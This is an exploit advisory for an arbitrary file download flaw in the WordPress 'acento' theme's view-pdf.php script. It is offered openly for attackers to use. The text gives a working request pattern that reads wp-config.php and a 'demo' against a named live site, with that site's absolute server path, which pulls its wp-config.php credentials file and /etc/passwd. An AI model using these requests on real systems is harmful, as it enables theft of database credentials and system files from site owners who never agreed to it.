کد:
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # Title : WordPress acento theme Arbitrary File Download Vulnerability # Author : alieye # vondor : http://www.wpbyexample.com/detail/acentocultural.com # Contact : [email protected] # Risk : High # Class: Remote # Date: 01/09/2014 #++++++++++++++++++++++++++++++++++++++++++++++++++++++++ You can download any file from your target ;) exploit: http://victim.com/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/path/wp-config.php Demo: 1-download wp-config.php file from site: http://www.acentocultural.com/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/homepages/44/d398221315/htdocs/wp-config.php 2-download passwd file from root: http://www.acentocultural.com/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/etc/passwd
http://www.acentocultural.com/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/homepages/44/d398221315/htdocs/wp-config.php